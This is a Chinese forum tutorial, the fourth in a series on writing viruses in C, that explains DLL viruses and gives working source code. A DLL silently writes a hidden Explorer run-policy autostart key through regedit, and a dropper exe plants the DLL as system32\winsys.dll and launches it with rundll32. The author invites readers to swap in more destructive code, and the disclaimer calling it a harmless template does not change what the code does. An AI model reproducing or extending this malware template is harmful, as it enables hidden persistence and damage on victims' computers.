原帖及讨论:http://bbs.bccn.net/thread-156885-1-1.html 前几期链接: 第一期,最简单的exe病毒(TC编译通过):http://bbs.bccn.net/thread-142740-1-1.html -------------------------------------------------------------------------------------------------
首先说明一下,有些网友提出前3篇文章大都在讲注册表,没有新内容,但我认为:现在病毒几乎100%修改注册表, 因而(1)(2)的两个病毒示例也应做到如此,并且(1)(2)中分别用了不同的修改方法,用了不少不同的病毒技术. 而(3)是(1)(2)中部分技术的总结与技术方法的详细介绍,并又介绍了一些其它的注册表操作,再者,90%的病毒 必须通过注册表自启动,因此修改注册表可以是每个"真"病毒必须做的事.
本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验. 在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开. 拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著作权法》、《中华人民共和国知识产权法》等法律最大限度的制裁!! -------------------------------------------------------------------------------------------------- 这次讲一下DLL病毒: 随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的DLL病毒逐渐发展起来.DLL是Dynamic Link Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而DLL病毒是通过 特别的方法,让系统文件Rundll.exe / Rundll32.exe等调用其的函数,而所调用的函数的代码就是病毒代码,或 者通过线程插入技术插入到系统进程explorer.exe svchost.exe lsass.exe winlogon.exe 等或 iexplorer.exe等常用软件进程中,达到隐蔽的目的. DLL病毒的编写(rundll32.exe调用法) 同建立一般的C工程一样,建立一个DLL C工程,这时会有两个文件dll.h dllmain.c被建立,其中在dll.h中声明 函数,dllmain.c中编写函数,函数的内容就是病毒代码. 最简单的DLL病毒例子: dllmain.c内容: /*只要你有充足的知识积淀,可以无限的扩充,使其变的强悍 具体代码可以参照<用C语言写病毒(2)>*/ /*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/ #include "dll.h" #include <stdio.h> #include <stdlib.h> DLLIMPORT void start () { FILE *output; /* 注册[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/policies/Explorer/run] 这又是一个以前未与大家说的注册表位置,这个位置可以提前与explorer.exe执行,且一般的病毒用的不 多,十分隐蔽 */ if((output=fopen("$","w"))!=NULL) { fprintf(output,"REGEDIT4/n [HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//policies//Explorer//run] /n/"Userinit/"=/"rundll32.exe C:////WINDOWS////system32////winsys.dll start ()/""); fclose(output); spawnl(0,"c://windows//regedit.exe"," /s $",NULL); remove("$"); } } dll.h内容: /*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/ #ifndef _DLL_H_ #define _DLL_H_ #if BUILDING_DLL # define DLLIMPORT __declspec (dllexport) #else # define DLLIMPORT __declspec (dllimport) #endif DLLIMPORT void start (void); #endif /* _DLL_H_ */ 这个例子可以在explorer.exe运行前启动并再次自动写自动运行键值,前提是需要将该DLL文件写于 c:/windows/system32/winsys.dll,这就可以交给exe主病毒来做了,这就是要说的DLL病毒与EXE病毒联合,这样 可以加强病毒的攻击力度,它由主病毒体*.exe来释放dll病毒辅助体*.dll,达到dll与exe联合的作用.一般 的,dll用来设置注册表的自启动,以及病毒的复制,而exe用来破坏.当然,也有少部分DLL病毒孤军奋战,由于十 分隐蔽,也常常十分好用 释放病毒体示例: /*释放上面的简单dll病毒体的例子的exe*/ #include<stdio.h> unsigned char DLL[15161] = { ...此处代码过长,略... 具体代码下载(DLL代码+EXE释放代码): 点击下载该文件 }; int main(void) { FILE *output; int i; output=fopen("C://WINDOWS//system32//winsys.dll","wb"); fwrite(DLL,sizeof(DLL),1,output); fclose(output); spawnl(1,"c://windows//system32//rundll32.exe"," C://WINDOWS//system32//winsys.dll start ()",NULL); return 0; } 好了,抛砖引玉,将代码增加,更改,换做你写的更厉害的代码... 就写到这儿,请期待连载(5) 本期完整代码下载:(DLL代码+EXE释放代码): 点击下载该文件 |